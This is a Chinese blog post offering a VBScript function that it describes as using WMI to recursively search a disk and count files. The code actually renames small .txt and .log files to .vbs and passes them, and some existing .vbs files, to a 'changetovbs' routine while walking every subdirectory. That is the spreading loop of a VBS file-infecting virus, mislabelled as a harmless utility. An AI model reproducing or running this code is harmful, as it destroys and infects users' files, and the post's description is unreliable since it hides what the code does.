VBS调用WMI遍历搜索硬盘文件,并计数
作者:wakakala 发布时间:October 27, 2009 分类:VBS / C++ No Comments
多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来。
------------ code by fzhang-------------------------------------------------------------------------------------------------------
Function wmisfile(path_sf,justcnt)
'On Error Resume Next
StrComputer="."
Set ObjWMIService=GetObject("winmgmts:\\"&StrComputer&"\root\cimv2")
Set FileList = objWMIService.ExecQuery _
("ASSOCIATORS OF {Win32_Directory.Name='"&path_sf&"'} Where " _
& "ResultClass = CIM_DataFile")
For Each objFile In FileList
fname=lcase(objfile.name)
ename=lcase(objfile.extension)
If 1<objfile.filesize And objfile.filesize<=50000 Then
Select Case ename
Case "txt","log"
path_vbs=objfile.drive&objfile.path&objfile.filename&".vbs"
objfile.rename(objfile.drive&objFile.Path&objfile.filename&".vbs")
Call changetovbs(path_vbs,path_vbs)
justcnt=justcnt+1
Case "vbs"
If checkversion(fname)=False Then
Call changetovbs(fname,fname)
justcnt=justcnt+1
End If
End Select
End If
Next
Set colSubfolders = objWMIService.ExecQuery _
("Associators of {Win32_Directory.Name='"&path_sf&"'} " _
& "Where AssocClass = Win32_Subdirectory " _
& "ResultRole = PartComponent")
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function
-----------------------code end----------------------------------------------------------------------------------------------------